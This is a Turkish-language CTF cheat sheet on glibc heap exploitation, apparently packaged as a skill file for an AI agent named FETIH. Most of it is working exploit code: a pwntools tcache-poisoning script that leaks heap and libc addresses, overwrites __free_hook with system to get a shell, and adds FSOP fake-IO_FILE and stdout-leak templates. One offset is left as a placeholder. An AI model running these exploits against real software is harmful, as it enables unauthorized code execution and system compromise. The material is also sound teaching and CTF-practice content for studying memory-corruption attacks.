Heap Exploitation — Glibc
Heap Primitives (Chunk Layout ve Bin'ler)
Chunk Yapısı (64-bit glibc)
chunk → ┌──────────────────────┐
│ prev_size (8 byte) │ ← önceki chunk serbest ise aktif
│ size | flags (8 b) │ ← P=prev_in_use, M=mmap, A=non-main
mem → ├──────────────────────┤
│ fd pointer (8 byte) │ ← serbest chunk: bin'e bağlı
│ bk pointer (8 byte) │
│ ...kullanıcı veri...│
nextchunk→ └──────────────────────┘
Minimum chunk boyutu: 32 byte (glibc 64-bit).
Chunk boyutu her zaman 16'nın katı olmalı.
Bin Türleri
| Bin | Boyut (64-bit) | glibc versiyonu | Not |
|---|
| tcache | 0x20 – 0x410 | >= 2.26 | per-thread, 7 adet limit |
| fastbin | 0x20 – 0x80 | hep | LIFO, single-linked |
| smallbin | 0x20 – 0x3f0 | hep | double-linked |
| largebin | >= 0x400 | hep | double-linked + size list |
| unsortedbin | herhangi | hep | libc içi buffer, büyük leak |
Tcache Poisoning Şablonu
glibc 2.32+ sürümünde tcache fd pointer'ı XOR şifreli (safe-linking):
fd_stored = fd_real ^ (chunk_addr >> 12)
Bunu bypass etmek için heap adresini bilmen gerekir.
#!/usr/bin/env python3
# tcache_poison.py — Use-After-Free / Double-Free ile tcache poisoning
from pwn import *
BINARY = "./vuln"
LIBC = "./libc.so.6"
context.binary = elf = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"
def start():
if args.REMOTE:
return remote("chall.ctf.site", 1337)
return process(BINARY)
io = start()
# ── Menü yardımcı fonksiyonlar ───────────────────────────────────────────────
def alloc(size, data=b"A"):
io.sendlineafter(b"choice: ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
io.sendafter(b"data: ", data)
def free(idx):
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
def show(idx):
io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"index: ", str(idx).encode())
return io.recvline()
# ── Aşama 1: Heap Adresi Leak (glibc >= 2.32 için gerekli) ──────────────────
# tcache fd = (next_chunk_addr >> 12) ^ chunk_addr
# İlk serbest chunk fd'si: 0 ^ (heap >> 12) = heap >> 12
alloc(0x30, b"AAAA") # chunk 0
free(0) # tcache'e at
# UAF varsa chunk 0'ı hala okuyabiliriz
raw = show(0)
heap_leak = u64(raw[:8].ljust(8, b"\x00"))
heap_base = heap_leak << 12 # safe-linking decode
log.success(f"heap base = {hex(heap_base)}")
# ── Aşama 2: Libc Leak (unsorted bin üzerinden) ──────────────────────────────
# Tcache + fastbin dolu değilse büyük chunk unsorted bin'e gider
alloc(0x420, b"B" * 8) # büyük chunk (tcache'e gitmesin, 0x410 üstü)
alloc(0x30, b"guard") # alt chunk — top chunk ile birleşmesin
free(1) # unsorted bin'e gider
raw2 = show(1) # fd = unsorted bin başı = main_arena + offset
arena_leak = u64(raw2[:8].ljust(8, b"\x00"))
libc.address = arena_leak - libc.sym["main_arena"] - 96
log.success(f"libc base = {hex(libc.address)}")
# ── Aşama 3: __free_hook veya __malloc_hook Overwrite (glibc < 2.34) ────────
# glibc 2.34+ hook'lar kaldırıldı → IO_FILE FSOP kullan (aşağıya bak)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
# Poisoned chunk: tcache fd'yi __free_hook'a yönlendir
# glibc 2.32+ safe-linking: fd = (heap >> 12) ^ target
def safe_link(heap_addr, target):
return (heap_addr >> 12) ^ target
alloc(0x30, b"C" * 8) # chunk 3
alloc(0x30, b"D" * 8) # chunk 4
free(4)
free(3) # tcache: 3 → 4 → NULL
# Chunk 3 UAF: fd'yi __free_hook'a yönlendir
corrupted_fd = safe_link(heap_base + 0x????, free_hook) # heap_base + chunk 3 offset
# show(3) ile chunk 3 adresini öğren, sonra hesapla
io.sendlineafter(b"choice: ", b"4") # edit / write primitive varsa
io.sendlineafter(b"index: ", b"3")
io.send(p64(corrupted_fd))
# Şimdi iki kez alloc et — ikincisi __free_hook bölgesine düşer
alloc(0x30, b"/bin/sh\x00") # chunk 3'ü al
alloc(0x30, p64(system)) # __free_hook = system
# free("/bin/sh") → system("/bin/sh")
free(3 + 1) # "/bin/sh" içeren chunk'ı serbest bırak
io.interactive()
Unsorted Bin Libc Leak
# Tek seferlik leak — UAF ile okuma primitive gerekli
# 1) 0x420+ boyutlu chunk ayır (tcache sınırı aşsın)
alloc(0x420) # chunk A
# 2) Alt guard chunk ayır (top chunk ile birleşmesin)
alloc(0x30) # chunk B (guard)
# 3) chunk A'yı serbest bırak → unsorted bin'e gider
free(0) # chunk A → fd/bk = main_arena + 0x60 (ya da offset)
# 4) UAF ile chunk A'nın fd'sini oku
data = show(0)
arena_ptr = u64(data[:8].ljust(8, b"\x00"))
# 5) Offset'i bul
# gdb ile: p &main_arena, leaked değerden çıkar
ARENA_OFFSET = 0x1ecbe0 # glibc 2.35 örnek — versiyon bağlı!
libc.address = arena_ptr - ARENA_OFFSET
log.success(f"libc base = {hex(libc.address)}")
IO_FILE FSOP — picoCTF hft Örneği (glibc 2.35)
glibc 2.34+ __malloc_hook / __free_hook kaldırıldı.
Alternatif: _IO_FILE yapısını taklit et, _IO_flush_all_lockp tetiklenince
vtable->__overflow üzerinden RIP kontrolü al.
Sahte IO_FILE Yapısı
# glibc 2.35 IO_FILE FSOP — stdout overwrite
# Kaynak: roderick01's House of Apple 2
FSOP_OFFSET = 0 # _IO_list_all - libc.address
def craft_fake_file(libc, rdi_val, rsi_val, rdx_val, func_ptr):
"""
_IO_flush_all_lockp yolu:
_IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
vtable = _IO_wfile_jumps - 0x18 + bazı magic
"""
IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
setcontext = libc.sym["setcontext"] + 61 # setcontext+61: rdi→rdx, jmp [rdx+0xa0]
fake = flat({
0x00: 0, # _flags (özel değer gerekebilir)
0x28: 1, # _IO_write_ptr > _IO_write_base
0x30: 0, # _IO_write_base
0x38: rdi_val, # _IO_buf_base → rdi olarak geçer
0xa0: func_ptr, # setcontext+61 için jump adresi
0xc0: 0, # _mode = 0
0xd8: IO_wfile_jumps - 0x18, # vtable (magic offset)
0xe0: rsi_val, # wide_data başı
0xe8: rdx_val,
}, length=0x100, filler=b"\x00")
return fake
# Kullanım — stdout'u overwrite et:
stdout = libc.sym["_IO_2_1_stdout_"]
fake_file = craft_fake_file(libc, next(libc.search(b"/bin/sh")), 0, 0, libc.sym["system"])
# Heap'teki write primitive ile stdout bölgesini yaz
# ...
Basit FSOP Şablonu (stdout flag trick)
# _IO_2_1_stdout_ flags alanını düzenle → fileno'yu oku → libc leak
stdout_addr = libc.sym["_IO_2_1_stdout_"]
# flags = 0xfbad1800 (okuma modu açık)
# _IO_write_base küçültülünce flush tetiklenir ve bellek sızar
fake_flags = 0xfbad1800
writes = {
stdout_addr : fake_flags,
stdout_addr + 0x20: stdout_addr + 0x80, # _IO_write_base = _IO_buf_base
stdout_addr + 0x28: stdout_addr + 0x80, # _IO_write_ptr
}
# Bu yazma sonrası next flush → libc adresleri stdout'a basılır
pwntools Heap Debug Yardımcıları
# pwndbg ile heap durumunu gör:
# (gdb) heap → tüm chunk'lar
# (gdb) bins → bin durumu
# (gdb) tcache → tcache perthread yapısı
# (gdb) vis_heap_chunks → görsel chunk haritası
# pwntools ile malloc_chunk parse:
from pwn import *
libc = ELF("./libc.so.6")
# Heap adresini leak ettikten sonra chunk içeriğini oku:
def read_chunk(io, addr, size=0x40):
# memory read primitive gerekli
pass
# GDB attach (local debug):
if args.GDB:
gdb.attach(io, gdbscript="""
break *0x401234
heap
bins
continue
""")
glibc Versiyon Tespiti
# 1) Sunucudaki libc'yi öğren
libc --version # bağlantı varsa
# 2) ldd ile
ldd ./vuln
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# 3) strings ile
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release
# 4) Libc'yi uzak sunucudan çek (binary'de yüklü ise):
# patchelf --print-needed ./vuln → gereken libc adını gösterir
# 5) Online araç: libc.blukat.me
# Birden fazla sembol offset'i gir → libc versiyonunu bul
Patchelf ile Yerel Libc Kullan
# Belirli bir libc ile çalıştır (docker imajından çekilen)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
./vuln # artık yerel libc.so.6 ve ld kullanır
Yaygın Tuzaklar
1. Guard Chunk Unutmak
# Büyük chunk free edince top_chunk ile birleşmemeli
alloc(0x420, b"leak chunk")
alloc(0x30, b"GUARD") # bu olmadan unsorted bin'e gitmez, top_chunk'a katılır
free(0)
2. Tcache Sayacı (glibc >= 2.26)
Her boyut için tcache'de max 7 chunk var. 8. free → unsorted/fastbin'e gider.
# Tcache'i doldur, 8. free unsorted bin'e gitsin:
for _ in range(7):
alloc(0x30)
for i in range(7):
free(i)
# Şimdi 8. chunk free → fastbin veya unsorted bin (boyuta göre)
3. Safe-Linking (glibc >= 2.32)
Tcache fd/bk XOR şifreli. Heap leak olmadan poisoning çalışmaz.
Heap adresini UAF ile sızdır, sonra (addr >> 12) ^ target hesapla.
4. glibc 2.34+ Hook'lar Yok
__malloc_hook, __free_hook, __realloc_hook kaldırıldı.
Alternatifler:
- IO_FILE FSOP (House of Apple, House of Cat)
- exit_funcs overwrite (setjmp/longjmp tablosu)
- stack pivot + ROP (setcontext gadget)
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: 85a65cfd16586727
-->